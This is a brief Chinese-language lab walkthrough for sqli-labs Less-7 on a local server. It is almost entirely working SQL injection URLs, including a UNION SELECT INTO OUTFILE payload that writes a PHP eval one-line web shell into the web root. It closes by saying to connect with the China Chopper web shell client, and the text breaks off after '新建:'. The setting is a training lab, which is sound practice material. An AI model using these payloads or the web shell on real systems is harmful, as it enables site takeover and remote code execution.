1.http://localhost/sqli-labs-master/Less-7/?id=1')) order by 3--+
2.http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST["crow"]);?>' into outfile 'E:\\tools\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\a.php' --+讲一句话木马写入其中
不使用一句话木马:http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,2,'crow'into outfile 'E:\\tools\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\test.php' --+
3.使用中国菜刀访问就好~
新建: